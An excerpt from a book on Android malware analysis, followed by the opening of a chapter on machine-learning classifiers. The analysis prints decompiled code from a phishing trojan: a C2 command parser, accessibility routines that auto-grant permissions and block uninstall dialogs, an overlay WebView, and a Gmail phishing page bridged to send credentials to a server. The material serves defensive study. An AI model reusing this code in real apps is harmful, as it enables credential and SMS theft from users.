Our analysis of com.sniff.sibling.Constants revealed all of the malware’s
commandandcontrol servers and their URLs, but we still don’t have the
full list of commands the app is capable of executing. This illustrates yet
another problem of pure dynamic analysis: if the server doesn’t instruct
the malware to execute certain commands while under observation, the
dynamic analysis environment will never learn about them.
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We know that the /metrics URL supports at least two commands: inj_update
and get_coms. To find other potential commands, we can search for the ones
we know about and hope that the others are defined nearby. A search for
these two command strings shows that they appear at four locations in the
code, three of which are quite interesting.

We first find inj_update referenced inside com.sniff.sibling.Api.Controllers
.ApiOperationsController. Shown in Listing 419, the code using this string is
helpfully called parsePayload.

public void parsePayload(byte[] bArr) {

char c;

String str = new String(bArr, StandardCharsets.UTF_8);

UtilGlobal.Log("parsePayload", "<<< " + str);

String str2 = ApiSimpleMetricsPayload.fromJson(str).type;

int hashCode = str2.hashCode();

if (hashCode == 748954943) {

if (str2.equals("notif_ic_update")) {

c = 2;

}

c = 65535;

} else if (hashCode != 1513349731) {

if (hashCode == 1976172123 && str2.equals("get_coms")) {

c = 0;

}

c = 65535;

} else {

if (str2.equals("inj_update")) {

c = 1;

}

c = 65535;

}

if (c == 0) {

ApiGetCommandsResponsePayload.fromJson(str).execute(

this.contextWeakReference.get());

} else if (c == 1) {

ApiInjectionUpdateResponsePayload.fromJson(str).execute(

this.contextWeakReference.get());

}

}

Listing 4-19: Code in parsePayload confirms the existence of three commands.

The code is unnecessarily complex, as all it does is parse the previously
decrypted response from the server to understand whether the retrieved
JSON object has a type tag with a value of notif_ic_update, get_coms, or inj

_update. We haven’t yet encountered notif_ic_update, but it appears to be un
used, as no branch in the final if statement is associated with this command.
Maybe that’s why we didn’t observe it being sent from the server.
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These strings appear again inside the mysterious KingService class we’ve
seen several times during our analysis. Shown in Listing 420, the function
that uses them seems to be the malware’s main execution loop. Every step
of the malware is outlined there and matches what we observed using logcat
and Frida.

public /* synthetic */ void m13xbc1baa29(Handler handler) {

...

if (!UtilGlobal.isInternetConnected(this)) {

UtilGlobal.Log(TAG, "Network disconnected");

} else if (UtilGlobal.isNetworkBusy(this) != 0) {

UtilGlobal.Log(TAG, "Network busy, dropping one step");

UtilGlobal.flagNetworkAsBusy(

this, UtilGlobal.isNetworkBusy(this) - 1);

} else if (!UtilGlobal.checkClientVerification(this) ||

UtilGlobal.clientVerificationExpired(this, 300000L)) {

UtilGlobal.Log(TAG, "Client is not verified. Verifying... ");

new ApiVerifyController().sendRequest(this);

UtilGlobal.flagNetworkAsBusy(this, 5);

} else if (UtilGlobal.SettingsRead(

this, Constants.appInjectTableTag).isEmpty()) {

apiOperationController.sendRequest(

this, new ApiSimpleMetricsPayload("inj_update"));

UtilGlobal.enableInjections(this);

} else {

apiOperationController.sendRequest(

this, new ApiOperationRequestPayload(this, "get_coms"));

}

if (UtilGlobal.checkClientVerification(this)) {

if (!UtilGlobal.checkPermissions(this)) {

UtilGlobal.Log(TAG, "Permissions revoked!");

} else if (!UtilGlobal.isNotificationServiceEnabled(this)) {

UtilGlobal.grantNotificationListenerAccess(this);

UtilGlobal.millisecondsSleep(15000);

} else if (!UtilGlobal.isIgnoringBatteryOptimizations(this)) {

UtilGlobal.startDozeMode(this);

}

}

UtilGlobal.millisecondsSleep(15000);

}

Listing 4-20: The malware’s main execution loop, found in the KingService class

The code straightforwardly shows that the malware first tries to connect
to the internet and bails if no network is available. Then it checks whether
the network is busy—that is, whether any other server command is in progress.
It also checks the following: whether the client is verified and, if so, that the
verification has not yet expired; whether it’s time to send the inj_update com
mand to the server; whether it’s time to send the get_coms command to the
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server; whether necessary permissions have been granted; and whether the
malware was granted notification access. Finally, it starts doze mode, a setting
related to battery optimization.

Based on this main execution loop, we can confirm that our dynamic
analysis was fairly complete. We uncovered all of these execution options,
except for the one related to doze mode. Code inspection will show that en
tering doze mode is an attempt by the malware to exclude itself from system
wide optimization features that might kill the malware process to preserve
battery life.

The third interesting piece of code that references the string inj_update

is in the com.sniff.sibling.Api.TDP.ApiGetCommandsResponsePayload class,
which contains code to further parse the get_coms server response. Short
ened for brevity, its beginning is shown in Listing 421.

String[] strArr = this.commands;

int length = strArr.length;

for (int i = 0; i < length; i++) {

String str = strArr[i];

UtilGlobal.Log("ApiGetCommandsResponsePayload", str);

strArr = strArr;

switch (str.hashCode()) {

case -2081539234:

if (str.equals("sms_log")) {

c = 11;

break;

}

c = 65535;

break;

case -1691298703:

if (str.equals("self_kill")) {

c = 17;

break;

}

c = 65535;

break;

case -646462158:

if (str.equals("notif_ic_disable")) {

...

Listing 4-21: Code that reveals additional server commands

This code goes through all the commands received from the command
andcontrol server and executes the functionality for each (omitted here).
We can now see that the malware understands the following commands:

app_list Uploads information about installed apps to the server

sms_log Uploads all SMS from the device to the server

notif_ic_enable Starts intercepting notifications on the device
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notif_ic_disable Stops intercepting notifications on the device

sms_ic_enable Starts intercepting SMS

sms_ic_disable Stops intercepting SMS

inj_enable Enables phishing overlay windows

inj_disable Disables phishing overlay windows

inj_update Asks the server for new phishing windows

Besides these commands, the malware also looks for many commands
that aren’t backed by any code. This indicates that the malware is under
heavy development and may add more functionality in the future. The unim
plemented commands are self_kill, fg_disable, inj_list, self_cleanup, notif
_ic_update, fg_enable, app_kill, sms_ic_update, sms_ic_list, and notif_ic_list.
We can only guess their purposes from their names.

Now we know everything about the commandandcontrol servers: their
domains, URLs, and commands. We also know the data that the malware
collects and which commands are actually implemented. This gives us a very
good overview of its capabilities, proving once again that understanding the
malware’s command handler is key to understanding its functionality.

More Accessibility Abuse
One of the remaining mysteries about this malware sample concerns its use
of the accessibility API. We’ve already discovered that the malware actively
pushes the user to grant it access to this API, and that once this is done the
malware makes extensive use of its classes and methods. However, we don’t
yet know exactly what it uses the API for.

Code that uses the accessibility API isn’t easy to understand. The API is
complex and messy, and achieving anything with it takes a lot of code. Be
cause it comprises more than 1,000 lines, showing and explaining all of the
malware’s accessibility API functionality is out of this book’s scope. Instead,
we’ll limit ourselves to a few highlights.

Most of this code is in com.sniff.sibling.Accessibility, a package that
contains nearly 20 classes, primarily for simulating real user clicks on pre
defined apps. For example, the malware can make itself the default SMS
handling app by clicking through a series of system settings. Likewise, it has
defense mechanisms that check whether the user has opened system dialogs
for removing or disabling the malware and close these dialogs if necessary,
before the user can complete the removal process.

The central part of the accessibility abuse code is the com.sniff.sibling
.Services.FitnessAccessibilityService class, which extends the default Android
class android.accessibilityservice.AccessibilityService and provides callback meth
ods invoked for accessibility events happening on the system. The most
interesting method in this service, windowStateChangedEvent, handles apps com
ing to the foreground or otherwise changing state. When this happens, the
malware checks which app has come to the foreground and takes the appro
priate action. If it finds a phishing target, for example, it shows the phishing
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dialog. If it instead finds a permission dialog, it clicks a button to grant the
app that permission. Listing 422 shows a slice of the windowStateChangedEvent

method.

public void windowStateChangedEvent(AccessibilityEvent accessibilityEvent) {

if (accessibilityEvent.getPackageName() != null) {

if (UtilGlobal.injectionsEnabled(this) && UtilGlobal.packageHasInjection(

this, accessibilityEvent.getPackageName().toString())) {

Intent intent = new Intent(this, OverlayInjectActivity.class);

intent.addFlags(268435456);

intent.addFlags(8388608);

UtilGlobal.SettingsWrite(this, Constants.appInjectTag,

accessibilityEvent.getPackageName().toString());

startActivity(intent);

} else if (UtilAccessibility.getEventClassName(accessibilityEvent).equals(

"com.miui.home.launcher.uninstall.deletedialog")) {

UtilAccessibility.goBack(this, 2);

} else if (UtilAccessibility.getEventClassName(accessibilityEvent).equals(

"com.android.packageinstaller.uninstalleractivity")) {

UtilAccessibility.goBack(this, 2);

} else if (accessibilityEvent.getPackageName().equals(

"com.google.android.packageinstaller")) {

UtilAccessibility.goBack(this, 2);

}

...

this.modulesManager.performAllNecessary(this, accessibilityEvent);

if (UtilAccessibility.checkPermissionsClick(this, accessibilityEvent)) {

UtilGlobal.Log("windowStateChangedEvent", "grantPermissionsClick called");

UtilAccessibility.grantPermissionsClick(this, accessibilityEvent);

}

DozeModeAccessibilityModule.performIfNecessary(...);

XiaomiDozeModeAccessibilityModule.performIfNecessary(...);

DisablePreventionAccessibilityModule.performIfNecessary(...);

DefaultSmsAppAccessibilityModule.performIfNecessary(...);

DeletionPreventionAccessibilityModule.performIfNecessary(...);

XiaomiSpecialPermissionInterceptActivityModule.performIfNecessary(...);

...

}

}

Listing 4-22: The accessibility API is used to handle new apps coming to the foreground.

First, the malware checks whether it should inject phishing dialogs
(injectionsEnabled) and target the active app with such a dialog (packageHas
Injection). If so, the phishing dialog is shown. The next few if statements
are selfdefense mechanisms that simulate clicks on the back button when
the user opens system dialogs to remove the malware. Following that is the
code that accepts all permission requests for the app and takes some system
dialog–specific actions.
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Automatically Granting Permissions
The service also handles generic accessibility events and events that invoke
windowContentChanged and notificationStateChanged. The code in these sec
tions is messy and hard to follow. For example, take a look at the code to
perform the seemingly simple action of clicking the OK button on a permis
sion dialog to automatically grant the malware all permissions it requests.
Listing 423 shows the code for checkPermissionsClick.

public static boolean checkPermissionsClick(

AccessibilityService accessibilityService,

AccessibilityEvent accessibilityEvent) {

return (

accessibilityEvent.getPackageName().toString().contains("permissioncontroller") ||

accessibilityEvent.getPackageName().toString().equals("packageinstaller")

) && (

findFirstNodeByName(accessibilityEvent.getSource(), Constants.appName) != null)

&& !UtilGlobal.checkPermissions(accessibilityService);

}

Listing 4-23: Simulating a click on the permission dialog if necessary

The app first checks whether the accessibility event came from permission

controller or packageinstaller, to make sure the app is showing the desired
dialog. Then it checks whether its app name is part of the hierarchy that led
to the accessibility event. We’ve omitted the 20 lines of code for doing so
here. Finally, the malware makes sure that it hasn’t yet been granted the rel
evant permission. If it already has all the permissions it requires, the dialog
likely was launched by a different app.

After confirming all of these conditions, the malware clicks the dialog’s
OK button. Listing 424 shows the first method for accomplishing this click.

public static boolean grantPermissionsClick(

AccessibilityService accessibilityService,

AccessibilityEvent accessibilityEvent) {

try {

return pressAllowButton(accessibilityEvent.getSource());

} catch (Exception unused) {

return false;

}

}

Listing 4-24: The outer method for clicking the permission dialog button

This method simply invokes pressAllowButton, shown in Listing 425.
Here, things become more complicated, as the method iterates over lists of
button IDs and button labels. The button label list contains the strings Allow
and OK, meaning this code will actually fail to locate the buttons if the device
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doesn’t use these terms due to its language setting. The button ID list con
tains five strings of the form com.android.packageinstaller:id/permission_allow

_button, which are presumably the IDs for the permission dialog in different
Android versions.

public static boolean pressAllowButton(

AccessibilityNodeInfo accessibilityNodeInfo) {

boolean z = false;

for (String str : Constants.allowButtonsIdList) {

z |= pressButtonByViewId(accessibilityNodeInfo, str);

}

if (!z) {

for (String str2 : Constants.allowButtonsLabelList) {

z |= pressButtonByText(accessibilityNodeInfo, str2);

}

}

UtilGlobal.Log(TAG, "IsPressAllowSuccessful: " + z);

return z;

}

Listing 4-25: Locating the permission dialog button

To press a button based on its text label, the malware must first retrieve
the text of all buttons in the active dialog. If one of these buttons matches
the expected text, it can perform a click, as shown in Listing 426.

public static boolean pressButtonByText(

AccessibilityNodeInfo accessibilityNodeInfo, String str) {

if (accessibilityNodeInfo == null) {

return false;

}

while (true) {

boolean z = false;

for (AccessibilityNodeInfo accessibilityNodeInfo2 :

accessibilityNodeInfo.findAccessibilityNodeInfosByText(str)) {

if (accessibilityNodeInfo2.isClickable()) {

if (z || clickButton(accessibilityNodeInfo2)) {

z = true;

}

}

}

return z;

}

}

Listing 4-26: Clicking the permission dialog button
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A separate, nearly identical method identifies the button to click based
on its ID rather than its label text. The only difference is that it uses the
findAccessibilityNodeInfosByViewId method instead of findAccessibilityNode
InfosByText. The one remaining method, clickButton, is shown in Listing 427;
it uses the accessibility API performAction to execute the click.

public static boolean clickButton(

AccessibilityNodeInfo accessibilityNodeInfo) {

if (accessibilityNodeInfo == null) {

return false;

}

return accessibilityNodeInfo.performAction(16);

}

Listing 4-27: Clicking a button with the accessibility API

As you can see, even a simple workflow like clicking the OK button in
a permission dialog takes so much code that it’s no wonder more advanced
manipulation of the system and its dialogs take more than 1,000 lines. Fol
lowing this code requires knowledge of Android internals and modifications
made by device manufacturers.

Injecting Phishing Windows
Let’s discuss how the malware fulfills its ultimate purpose: phishing. Con
ceptually, phishing for credentials involves displaying a phishing window,
hoping that the victim falls for the ruse, and then sending the stolen cre
dentials to a remote server for future use. This app follows this textbook
behavior.

We’ve already discovered information about the phishing process. From
the accessibility API code, we learned that the app displays the phishing win
dow when a target app becomes active. When analyzing communications
with the commandandcontrol server, we learned where the target app con
figuration comes from and what the phishing windows look like. The only
thing we don’t yet understand is how the app displays the phishing window
and steals the credentials.

A class called OverlayInjectActivity is responsible for showing the phish
ing dialog, collecting user credentials, and sending them to the command
andcontrol server (Listing 428).

@Override // android.app.Activity

protected void onStart() {

super.onStart();

this.context = this;

OverlayInjectResource packageInjection = UtilGlobal.getPackageInjection(

this, UtilGlobal.SettingsRead(this, Constants.appInjectTag));

this.resource = packageInjection;

this.hideStop = true;

if (!this.stopActivity && packageInjection != null) {
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try {

WebView webView = new WebView(this);

this.wv = webView;

webView.getSettings().setJavaScriptEnabled(true);

this.wv.setScrollBarStyle(0);

this.wv.setWebViewClient(new MyWebViewClient());

this.wv.setWebChromeClient(new MyWebChromeClient());

this.wv.addJavascriptInterface(new WebAppInterface(this),

"Android");

this.wv.loadDataWithBaseURL(null,

this.resource.getPageResource(this),

"text/html", "UTF-8", null);

setContentView(this.wv);

} catch (Exception e) {

e.printStackTrace();

}

}

}

Listing 4-28: The phishing window uses a WebView to show the phishing pages.

When this dialog is shown, it loads the phishing page’s HTML code into
a WebView and shows it to the user. The getPageResource method fetches
HTML that has been customized for the target.

Stealing Credentials
Lastly, to understand how the app steals credentials, we need to know how
the credentials entered by the user travel from the HTML page in the
WebView to the app and how the app sends them to its commandand
control server.

A JavaScript interface serves as a bridge between the website and the
app. As you saw in Listing 428, the interface is based on a Java class named
WebAppInterface that is exposed to the website as a JavaScript object of name
Android. Listing 429 shows the complete WebAppInterface class.

public static class WebAppInterface {

OverlayInjectActivity parent;

WebAppInterface(OverlayInjectActivity overlayInjectActivity) {

this.parent = overlayInjectActivity;

}

@JavascriptInterface

public void send_log_injects(String str) {

returnResult(str);

}

@JavascriptInterface
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public void returnResult(String str) {

new ApiOperationController().sendRequest(

this.parent,

new ApiInjectionSuccessRequestPayload(

"inj_success",

new ApiInjectionSuccess(

UtilGlobal.SettingsRead(

this.parent, Constants.appInjectTag),

str)

),

true);

OverlayInjectActivity overlayInjectActivity = this.parent;

UtilGlobal.flagPackageInjectionIgnored(

overlayInjectActivity, overlayInjectActivity.resource.id);

this.parent.finish();

}

}

Listing 4-29: The WebAppInterface class bridges the app and the phishing page.

The class defines two methods marked with the annotation @Javascript

Interface, which makes them available to the HTML page’s JavaScript code.
The send_log_injects method simply calls the more interesting method,
returnResult. When the app receives the stolen credentials, it issues a new
commandandcontrol message of type inj_success that sends the stolen cre
dentials to the server.

Taking a look at an example HTML page, such as the one for phishing
Gmail account information, makes this interaction easier to understand.
Listing 430 shows an excerpt from the phishing page, which takes form in
put from the user, turns it into a JSON string, and sends it to the app.

<body>

<div id="googlemail" style="display: none;">

...

<input class="googlelogininput" id="passwordinput"

type="password" name="password" placeholder="Password">

<div class="linktext forgotemail">Forgot password?</div>

<div class="spacer"></div>

<button class="button" onclick="checkPassword();">Next</button>

...

</body>

function checkPassword() {

if(document.getElementById('passwordinput').value.length > 5) {

process('googlemail');

}

}
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function process(formId) {

var ua = navigator.userAgent.toLowerCase();

if(ua.indexOf("android") > -1) {

try {

Android.send_log_injects(formToJSONbyName(

document.getElementById(formId)));

} catch (err) {}

}else{

alert(formToJSONbyName(document.getElementById(formId)));

}

}

Listing 4-30: Excerpt of the HTML code for the Gmail phishing page

The HTML page defines an input form with a password field and a but
ton. When the user clicks the button, the JavaScript method checkPassword

is called to perform a quick password plausibility check. Then, checkPassword
calls the process method, which serializes the input form into a JSON ob
ject and sends that to the Java code of the app through the JavaScript inter
face method Android.send_log_injects. The Java code of the app then sends
the JSON string to the server to complete the password theft operation. At
this point, the user has fallen for the phishing attack and the malware has
achieved its goal.

Up Next
After following the analysis steps in this chapter, you should understand the
malware’s main functionality. It waits until a target application is running
and then creates an overlay window over the legitimate app, imitating the
app’s user interface and asking the user to log in. The credentials the user
enters into the dialog are then stolen. This is facilitated by abuse of the ac
cessibility API and orchestrated by a commandandcontrol server.

This chapter should have also demonstrated the value of dynamic analy
sis. Using just a few tools, ranging from simple log analysis to powerful Frida
scripts, we were able to make rapid progress in our analysis. We successfully
discovered most of the malware’s functionality and developed a highlevel
understanding of how it works. Then we used static analysis to complement
our understanding of details that are elusive to pure dynamic analysis.

In the remainder of this book, we’ll transition away from the manual
analysis of individual malware samples to using machine learning as a means
of quickly identifying and classifying numerous malicious apps. There are
millions of malware samples floating around the internet today, and human
analysts will look at very, very few of these. Instead, defenders will identify
the vast majority of them through automated means. In that sense, the next
few chapters of the book more accurately describe how professional malware
detection and analysis works.
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5
MACHINE LEARNING

FUNDAMENTALS

In the early days of the Android eco
system, defenders analyzed apps manually

to determine whether they were malicious.
This technique was feasible at the time because

the operating system’s market share was small and, ini
tially, few apps were developed for it. However, things
have changed. Recent official reports show that more
than 100,000 Android APKs are released each month
on Google Play. Our own estimates suggest that the
actual number is significantly higher.

It is no longer possible for companies to manually assess the security
level of so many diverse apps. Initially, analysts solved this problem by rely
ing on humanidentified patterns present exclusively in malware. They wrote
detection rules, using YARA or other tools, to flag applications contain
ing such patterns. This approach failed to scale, however, as it quickly be
came infeasible for analysts to keep track of the features present in millions
of apps.



Instead, analysts began using machine learning algorithms, which have
the ability to perform these tasks on a large number of applications without
explicit programming by learning through examples. This approach proved
vastly more efficient, and reduced the burden on human analysts. This chap
ter introduces the machine learning basics you’ll need to be familiar with in
order to understand the material presented in the book’s remaining chap
ters, with a focus on the classification algorithms popular in malware detec
tion. Readers already familiar with the topic can skip ahead.

How Machine Learning for Malware Analysis Works
In malware analysis, we most often use machine learning methods to classify
apps as benign, malicious, or, in some cases, possibly malicious. At a deeper
level, more sophisticated methods can provide increasingly finegrained
labels that identify apps as a specific type of malware, like spyware, bank
ing trojans, and so on. Given the support that automated methods provide,
security analysts can focus on examining gray zone apps, or those that aren’t
accurately classified as either goodware or malware. Machine learning signif
icantly reduces the number of apps that analysts have to manually review.

Machine learning algorithms can be either supervised or unsupervised.
Supervised algorithms require labeled datasets, while unsupervised algorithms
learn patterns inherent in the data. Classification algorithms are the most
common type of supervised algorithms, while clustering and anomaly de
tection are common examples of unsupervised algorithms. Each has its own
purpose in securityrelated machine learning.

Classification algorithms, also called classifiers, consider information
about an entity, such as an app, a picture, or a user account, and place it
into one or more classes. For example, in the case of an Android app, we
might have two classes of interest: malware and goodware. But if we want
to classify something else—for instance, Instagram accounts—we might have
many more classes: child for those younger than 18, young adult for those
18–40 years old, middleaged for those 41–65 years old, and senior for those
66 years old or older. Engineers working on the classification problem
define the exact number of categories and the meaning of each. One chal
lenge is that classification algorithms often require a large number of
labeled samples (already classified samples that the algorithm can learn
from) to produce accurate models, which might not always be available.

Clustering algorithms take information from multiple entities and group
similar samples into clusters. For instance, malicious developers often create
multiple versions of their malware over time as they look for ways to avoid
detection or add new functionality. In such cases, clusters might correspond
to different versions of the same malware family. Clustering algorithms need
a way to measure the similarity of or distance between the entities under
observation, and domain experts are responsible for defining how that simi
larity will be computed based on the clustering goal.

162 Chapter 5



While clustering algorithms don’t require labeled data, the clusters they
produce can be hard to interpret if the algorithm isn’t aware of what the an
alyst is looking for. Malware and goodware often share SDKs and libraries,
which might confuse the clustering system, causing it to group malware and
goodware together merely because they share an SDK.

Anomaly detection or outlier detection algorithms try to identify entities
that are substantially different from almost all others in a given dataset. For
instance, efforts have been made to find malicious apps by checking whether
their behavior differs substantially from the norm. However, a challenge
for Android malware detection in particular is that most malware operates
within the bounds of the Android security model, asking unwitting victims
for permission to execute malicious actions. Is an app that sends all of your
texts to a remote server some kind of spyware, or is it an SMS backup app?
Anomaly detection algorithms may have a hard time distinguishing between
these two cases.

As it turns out, the vast majority of successful efforts to use machine
learning in malware detection have relied on classification algorithms.
However, some techniques use a mix of clustering and classification in an
attempt to identify the family to which a given malware sample belongs, such
as the system proposed in “EC2: Ensemble Clustering and Classification for
Predicting Android Malware Families” by Tanmoy Chakraborty et al.

Identifying App Features
Most machine learning algorithms assume that each entity of interest has
an associated feature vector, which is an ordered list of values belonging to
important properties of the entity being studied. In the case of malware
analysis, the entities of interest are the apps themselves. The feature vec
tor includes attributes derived from the analysis of the APK or the app in
execution and can be either handcrafted or automatically generated.

For the purposes of malware detection and classification, features might
relate to whether or not the app requests a specific permission (such as per
mission to read incoming texts), whether or not the code contains encrypted
portions, whether or not the code tries to connect to an external server, and
so forth. For each of these questions, the feature is set to 1 if the answer
is yes and 0 otherwise. Other features may have nonbinary values. For in
stance, we might have a feature corresponding to the number of times an
app’s source code calls a given package in the Android API. Machine learn
ing methods use these features to identify and classify entities. Chapter 6
will describe various types of features that are important to the analysis of
Android malware.

The content of an Android app alone provides a seemingly unlimited
number of potential features, but we don’t have to limit the feature set to
data found inside the APK. In fact, there is surprising value in connecting
features from APK files to external information. For example, in the case of
an app that connects to a certain domain, we could turn the Whois informa
tion for that domain into features. Similarly, if an app connects to a certain
IP address, we can pull in information about who owns the IP address, the
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datacenter that serves it, the country where the associated server is located,
or even information from the server itself, such as the operating system it
runs or the other software it hosts.

To give another example, if an app sends messages to a premium SMS
number, we might be able to determine which mobile carrier owns that
number and what commercial entity has it registered in partnership with the
mobile carrier. The developers of the machine learning system can choose
to include these pieces of information as features to characterize certain mal
ware families and developers.

Creating Training Sets
A training sample for a classification algorithm is a computational object con
sisting of a feature vector and a class label. In formal terms, we say that it
consists of a pair (f, c) where f is a feature vector and c is the class to which
we believe the sample belongs. Note that in Android malware analysis, for
an app to be a training sample we must already know its class (for instance,
malware or goodware).

A training set is a finite set of training samples. We can usually represent
it as a table or spreadsheet. In the case of the malware versus goodware clas
sification, the rows in the table would correspond to apps and the columns
would correspond to various features. A special column would represent the
label or class; that is, whether the app in a given row is malware (set to 1) or
goodware (set to 0). Table 51 shows a small sample training set associated
with Android apps.

In this training set, we show only two features, for the sake of simplic
ity. The telephony feature captures the number of calls made to the android
.telephony.cdma package by the app, and the app feature does the same for
the android.app package. For instance, the app shown in the first row of
Table 51 makes 27 calls in its source code to classes in the telephony pack
age and 2,655 calls to classes in the app API package. This app is malware:
we see that its value in the Label column is 1.

Each app in this training set can be thought of as a point on a scatter
plot. For instance, we could position the first app in the table at the coordi
nate (27,2655). In Figure 51, we depict it using a cross because it is malware.
We denote goodware using dots. As you can see, an app’s feature vector de
termines its location in this feature space.

Of course, in the real world, analysts might use a much larger training
set (one with thousands of apps). The number of features might also be in
the hundreds, thousands, or higher.

Creating good training sets is challenging. Training sets should ideally
be vast and diverse, and their data, particularly their labels, must be as accu
rate as possible. For malware analysis, this poses a problem. How does one
put together an accurately labeled set of thousands of malware and good
ware apps without many months of careful and costly manual research and
analysis?
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Table 5-1: Simple Training Set
The telephony
feature

The app
feature

Sample name Label

27 2655 14292932679d6930f521a21de4e8bffd.apk 1
3 1764 04276665aaa3725ea34097c4c874873c.apk 1
3 870 e8290db04c7004ec8bb53f7cda155eb9.apk 1
3 2086 03f9eff3229e3a4eefc9224f916202b8.apk 1
3 329 1c4e357a8ec5f13de4ffd57cc2711afe.apk 1
3 1499 080b0ed2d9bf87e9f3d061a1ba48da33.apk 1
27 2652 08026e2b63ec51cb36bc6cff00c28909.apk 1
27 2637 094f67a3a682a0cd4305d720cc786e00.apk 1
3 877 3a895a2d19f040d7826e68c2f9596c55.apk 1
3 2163 1a7409b8e0f6cc299a4ac0b9ca67856e.apk 1
1 2016 Starbucks_2020-10-22_16_06_36.apk 0
1 1823 Starbucks_2017-09-29_16_05_56.apk 0
6 6604 TikTok_2020-12-03_19_11_34.apk 0
6 6604 TikTok_2020-12-03_19_17_05.apk 0
1 11483 Walgreens_2020-11-21_21_45_17.apk 0
1 1555 Starbucks_2016-01-19_16_04_34.apk 0
1 1738 Starbucks_2016-09-08_16_02_23.apk 0
1 11483 Walgreens_2020-11-21_21_46_22.apk 0
1 1384 Starbucks_2015-12-07_16_07_02.apk 0
1 1812 Starbucks_2017-09-26_16_02_39.apk 0

Figure 5-1: A visualization of the training set as a scatter plot
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Fortunately, academic researchers have released a few training sets for
Android malware analysis, of which three are well known. The Drebin dataset
contains 5,560 applications from 179 different malware families collected
between August 2010 and October 2012. You can find it at https://www.sec
.cs.tubs.de/ danarp/drebin. The AndroZoo dataset is a growing collection of
Android applications that currently contains over 17 million APKs, each of
which has been analyzed by different antivirus products. You can find it at
https://androzoo.uni.lu. The CCCSCICAndMal2020 dataset contains 200,000
benign samples and 200,000 malicious ones drawn from 191 prominent mal
ware families. The dataset can be found at https://www.unb.ca/cic/datasets/
andmal2020.html. If one of these websites goes offline in the future, we’ll
publish the samples at https://github.com/androidmalwaremlbook so long as
there is no legal impediment to doing so.

Using Classification Algorithms
Classification algorithms take a training set as input and try to find some
condition such that, when the condition is true for a given app’s feature vec
tor, the probability that it is malicious is very high, whereas when the condi
tion is false, the probability that the app is malicious is very low.

For instance, if you consider Figure 52, you’ll see that the condition of
an app calling the app package fewer than 3,000 times does the job. All apps
that satisfy this condition are malware (crosses), while all apps that don’t sat
isfy it are goodware (dots). In this case, the horizontal line at the 3,000 API
calls mark splits the feature space into these two parts.

Figure 5-2: Two possible separators for the training set shown in Figure 5-1

However, this is not the only possible separator. We could just as easily
have selected the dashed line shown in the plot. This line is y = 40x + 2,000,
where x = APIPackage:android.telephony.cdma and y = APIPackage:android.app.
All points above this line are goodware, and all points below it are malware.
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At this point, you might have a number of questions. Should separa
tors always split the feature space into two parts, as shown in this figure?
Should separators always be linear, or can they include circles, ellipses, or
other, even weirder shapes? Figure 53 shows a situation in which the data is
grouped into different regions, some containing goodware and some con
taining malware.

Figure 5-3: Rectangular separators for the training set shown in Figure 5-1

One potential problem here is that large parts of the feature space aren’t
part of either a goodware or malware region, which might make sense, as no
samples from those parts of the feature space have ever been seen before. In
the next section, you’ll learn that classification algorithms can take various
approaches to sorting their samples.

Classification Algorithms
In this section, we’ll discuss some wellknown classification methods. As you
will see, classifiers work in different ways.

Decision Trees
A decision tree classification algorithm builds a tree, each node of which
compares a single feature with a single value. Thus, each path of the tree
corresponds to a complex logical “and” condition, along with a class label
showing the class that best matches that condition. Suppose we are given a
training set T whose feature vectors are drawn from an ndimensional space.
The samples are Android apps that we want to classify into two classes, good
ware and malware. To accomplish this, we would give each app a an asso
ciated feature vector fa consisting of n features. Figure 54 shows a sample
decision tree for classifying the apps.
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Figure 5-4: A sample decision tree

Each node in a decision tree implicitly represents a subset of the
training set. For instance, the root of the decision tree shown in Figure 54
represents a training set of 1,000 apps. Each node includes a Boolean condi
tion that splits the set into two disjoint sets: one consisting of all members
that satisfy the condition and one consisting of all members that do not.
For example, in the root node, the condition checks whether the number of
calls to the opcode iget-boolean is less than or equal to 1989.5. This opcode
reads a Boolean instance field from registers and is expressed as bytecode
in Dalvik format, which is the instruction set used by Android runtimes. All
apps that satisfy this condition are associated with the left child of the root
node, while those that do not satisfy the condition end up in the set of apps
associated with the right child.

The nodes also contain some other information to help us classify the
apps as malicious or benign. For instance, if you look at the root node, you’ll
see the number of samples, 1,000, and that each of the two classes (good
ware followed by malware) contains 500 apps. Because there is a 5050 split
at the root node, this node can be labeled using either class. In this case,
we’ve opted to call it goodware. Look now at the left child of the root node.
We see that it contains 519 apps. (That is, 519 samples from the training set
satisfied the condition in the root node.) From the Value field, we see that
39 of these 519 apps are goodware, while the remaining 480 are malware.
This node is therefore marked as malware, because that is how we classify
the majority of its apps.

Now, two questions naturally arise. First, how does the decision tree
algorithm decide what condition to choose at each node in the tree? And
second, what is the Gini field shown in the nodes in Figure 54? The answers
to these questions are closely related. Every decision tree considers some
family of constraints in order to choose the conditions with which to label
the nodes. In our sample decision tree, this class consists of constraints of
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the form feature ≤ value. Beyond this, the algorithm relies on the Gini value,
an effort to measure the heterogeneity of the classes represented within the
set of apps in the training sample for a node. For the root node in Figure 54
the heterogeneity is maximized, as both classes are equally represented.
But for its left child, the apps are overwhelming malware. The Gini met
ric assigns a high value to nodes that are heterogeneous and a low value to
nodes that are homogeneous. Consequently, the Gini value assigned to the
root node is higher than that assigned to its left child. The Gini value itself is
defined as:

Gini(X) = 1 – P(malware|X)2 – P(goodware|X)2

Because at the root node the probability of an app being goodware is
the same as the probability of it being malware, namely 50 percent, the Gini
value of the root is 1 – (0.5)2 – (0.5)2 = 0.5. For the left child of the root, the
probability of an app being goodware is 480/519. Hence, its Gini value is
1 – (39/519)2 – (480/519)2 = 1 – 0.0752 – 0.9252 = 1 – 0.0056 – 0.856 = 0.139.

We won’t go into the details of the decision tree algorithm itself. It suf
fices to say that when we build a decision tree, we try to find a condition
from the set of all permitted splitting conditions such that the resulting
Gini value of a combination of the two children is minimized. The process
of splitting nodes continues until we reach nodes that are considered homo
geneous enough, meaning their Gini scores fall below a given threshold.

There are many variants of decision trees. Some use criteria such as en
tropy rather than Gini scores to assess the quality of possible ways to split a
node. Other variants change the types of conditions at each node and even
set things up so that a decision tree makes a ternary or nary decision at each
node, rather than a binary one. You can find more details about the con
struction of decision trees and their variants in “TopDown Induction of De
cision Trees Classifiers—A Survey” by Lior Rokach and Oded Maimon and
“Optimizing MultiPath Decision Tree by Clustering and KNearest Neigh
bor Methods” by Nasib S. Gill and Reena Hooda.

Bagging and Random Forest
Bagging and random forest (RF) are quintessential examples of ensemble clas
sifiers, algorithms that combine the predictions of multiple other classifiers.
Ensemble classifiers typically start with a known classifier (sometimes re
ferred to as a weak learner). In the case of bagging and RF classifiers, this is
often a decision tree.

Bagging and RF algorithms use two instruments to provide a level of
robustness to the classification result based on the training set. The first
